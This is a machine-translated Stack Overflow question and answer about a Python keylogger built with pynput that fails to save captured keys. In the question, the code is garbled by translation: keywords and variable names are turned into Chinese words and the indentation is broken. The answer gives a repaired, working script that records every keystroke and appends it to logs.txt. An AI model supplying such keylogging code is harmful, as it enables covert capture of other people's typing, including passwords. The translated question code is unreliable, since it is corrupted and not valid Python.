【问题标题】:PYTHON. It doesn't create or write the keys into the filePYTHON。它不会创建或将密钥写入文件
【发布时间】:2021-12-01 10:05:37
【问题描述】:

导入pynput

from pynput.keyboard import Key, Listener

计数 = 0 键 = []

def on_press(key): 全局键,计数 键.附加(键) 计数 +=1

print("{0} pressed".format (key))

if count >=5:
    count = 0
    write_file(keys)
    keys = []

    def write_file(keys):
        with open("logs.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'" ",")
                if k.find("space") > 0:
                    f.write('\n')
                elif k.find("Key") == -1:
                    f.write(k)

def on_press(key): print("{0} 按下".format(key))

def on_release(key): 如果键 == Key.esc: 返回错误

以 Listener(on_press=on_press, on_release=on_release) 作为侦听器: listener.join()

【问题讨论】:

  • 你只能在 count 等于 5 之后定义函数 write_file。你应该在 if 循环之外定义函数。此外,您实际上并没有调用该函数,您只需定义它。如果您希望它在印刷时,请将其添加到 on_press 函数。此外,将所有代码包含在三个波浪号的 ``` 中并写下您的问题的解释是很常见的。
  • 你能编辑我的代码吗?我真的不明白。

标签: python keylogger


【解决方案1】:

您的代码中几乎没有错误。

  • 键定义应为小写,或至少与其余部分一致。
  • write_file() 应该在 if 循环之外定义。否则该函数将不存在。
  • write_file() 从未被调用过。这应该在 on_press() 函数中调用。
import pynput
from pynput.keyboard import Key, Listener


count = 0 
keys = []

def write_file(keys):
    with open("logs.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", ",")
            if k.find("space") != -1:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)

def on_press(key):
    
    global keys, count
    keys.append(key) 
    count += 1
    if count >=5:
       count = 0
       write_file(keys)
       keys = []
    print("{0} pressed".format(key))

def on_release(key):
    if key == Key.esc: 
        return False

with Listener(on_press=on_press, on_release=on_release) as listener: 
    listener.join()

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2018-06-20
    • 2016-09-25
    • 1970-01-01
    • 2011-12-11
    • 1970-01-01
    相关资源
    最近更新 更多